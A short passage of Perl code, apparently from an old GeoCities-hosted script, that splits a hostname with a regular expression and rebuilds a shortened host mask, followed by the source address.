  if($tryhost=~/.*\.(\S+)\.(\S+)\.(\S+)/){
   $one=$1;
   $two=$2;
   $tre=$3;
   $newhost = $one . "\x2e" . $two . "\x2e" . $tre;
   $starhost=1;
  }else{
   $newhost=$tryhost;
   $realhost=1;
  }
 }
}
}}


    Source: geocities.com/ijookeren/xxx

               ( geocities.com/ijookeren)